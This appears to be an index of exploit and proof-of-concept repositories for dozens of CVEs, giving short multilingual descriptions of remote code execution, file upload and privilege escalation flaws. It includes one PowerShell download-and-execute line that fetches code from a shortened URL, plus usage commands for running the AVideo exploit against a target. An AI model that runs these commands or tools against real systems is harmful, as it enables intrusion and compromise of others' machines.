CVE-2025-54424

CVE-2025-54424 CVE-2025-54424: Инструмент для эксплуатации RCE-уязвимости с обходом сертификата клиента в 1Panel сканирование + эксплуатация Краткое описание уязвимости 1Panel - это современная панель управления Linux с открытым исходным кодом, предоставляющая графический интерфейс для...

CVE-2015-1635-POC

️⃣ CVE-2015-1635-POC Удаленное выполнение кода в HTTP.sys MS15-034...

AVideo3xploit

AVideo3xploit.go Эксплойт удаленного выполнения кода RCE для AVideo root@kali: go get github.com/fatih/color root@kali: git clone https://github.com/ahussam/AVideo3xploit.git root@kali: cd AVideo3xploit root@kali:/AVideo3xploit go run AVideo3xploit.go http://target/avideo/ username password Вы...

CVE-2024-3094

Security Review & Threat Model: CVE-2024-3094 xz-utils / OpenSSH Ce dépôt contient les résultats de l'analyse de la vulnérabilité critique CVE-2024-3094 backdoor dans la bibliothèque liblzma du paquet xz-utils, menant à une exécution de code à distance via le processus OpenSSH. Dans le cadre du...

CVE-2022-29806

CVE-2022-29806 ZoneMinder до версии 1.36.12 повышение привилегий через языковой параметр и удаленное выполнение кода Описание Уязвимость Path Traversal в файле журнала отладки и опции языка по умолчанию в ZoneMinder версии ниже 1.36.13 и 1.37.11 позволяет злоумышленникам записывать и выполнять...

CVE-2016-3088

Apache ActiveMQ PUT RCE одним кликом getshell usage:python3 CVE-2016-3088.py -u https://tartget.com/...

CVE-2025-58434_CVE-2025-59528

Script PoC pour CVE-2025-58434 et CVE-2025-59528 CVE-2025-58434 Flowise -lp...

CVE-2025-4190

CVE-2025-4190 — WordPress CSV Mass Importer ≤ 1.2: Произвольная загрузка файлов -purple 📌 Описание Плагин CSV Mass Importer ≤ 1.2 для WordPress содержит уязвимость Admin+ Arbitrary File Upload произвольная загрузка файлов администратором. Из-за неправильной проверки загружаемых файлов пользовател...

CVE-2020-29607-Pluck-CMS-4.7.13-Authenticated-File-Upload-RCE-PoC

CVE-2020-29607 — Pluck CMS Аутентифицированное удалённое выполнение кода в Pluck CMS до версии 4.7.13. Менеджер файлов администратора admin.php?action=files не проверяет расширения файлов, что позволяет загружать файлы .phar, которые Apache выполняет как PHP. Загрузка веб-шелла через эту конечную...

CVE-2014-4113

CVE-2014-4113 PowerShell CVE-2014-4113 x64 Windows uniquement iex New-Object Net.WebClient.DownloadString'http://bit.ly/1qosbJH'...

CVE-2019-11043

PoC CVE-2019-11043 Реализация эксплойта CVE-2019-11043 на Python Эксплойт, зарегистрированный как CVE-2019-11043, использует ошибку в реализации PHP-FPM в сочетании с сервером NGINX. В определенных конфигурациях регулярное выражение в fastcgipathinfo приводит к тому, что модуль FPM записывает...

CVE-2025-69600

CVE-2025-69600 автор: Rafael José Núñez Gulías компания: Iberian Var Group Затронутые продукты: RayVentory Scan Engine 12.6 Update 8 и предыдущие версии Уведомление Raynet: RSEC200966 Внедрение команд в rvia от Raynet позволяет злоумышленникам выполнять команды через опции getconfig, upload,...

CVE-2026-88131

Deserialization of untrusted data in Microsoft Dataverse allows an unauthorized attacker to execute code over a network...

CVE-2024-44849

CVE-2024-44849 Автор: Extencil [email protected] CVE-2024-44849 — это критическая уязвимость удаленного выполнения кода RCE, которая затрагивает все предыдущие версии вплоть до Qualitor 8.24. Qualitor Website Использование этой программы для атаки или компрометации любой компании или системы...

CVE-2019-9978_Exploit

Exploit CVE-2019-9978 Plugin Social WarFare =3.5.2 Exécution de code à distance...

Chrome-V8-RCE-CVE-2021-38003

Chrome-V8-RCE-CVE-2021-38003 Эксплойты CVE-2021-38003, извлечённые из https://twitter.com/WhichbufferArda/status/1609604183535284224...

CVE-2025-7401

CVE-2025-7401 Premium Age Verification / Restriction for WordPress = 3.0.2 - Неаутентифицированное произвольное чтение и запись файлов 🧾 Premium Age Verification / Restriction for WordPress = 3.0.2 — Неаутентифицированное произвольное чтение и запись файлов 📝 Описание Плагин «Premium Age...

RCE-CVE-2025-32710

RCE-CVE-2025-32710 Уязвимость в службах удаленного рабочего стола Windows позволяет удаленное выполнение кода 💥 RDP Auto-Pwn RCE-CVE-2025-32710 Eksploitasi Otomatis untuk Layanan RDP yang Rentan BlueKeep & Beyond 🔓 Membuat akun admin • 🪟 Mengaktifkan RDP • 📶 Verifikasi akses otomatis --- ⚠️...

react2shell-scanner

react2shell-scanner Un scanner de vulnérabilités en ligne de commande haute fidélité pour détecter CVE-2025-55182 et CVE-2025-66478 Exécution de code à distance dans les applications Next.js utilisant les composants serveur React RSC. 🚨 Aperçu des vulnérabilités Ces vulnérabilités critiques...

CVE-2025-55182

CVE-2025-55182: React2Shell - Инструментарий удаленного выполнения кода для Next.js !WARNING Этот инструмент предоставлен только для авторизованного тестирования и образовательных целей. Несанкционированный доступ к сети и кража данных незаконны. Пользователи несут ответственность за получение...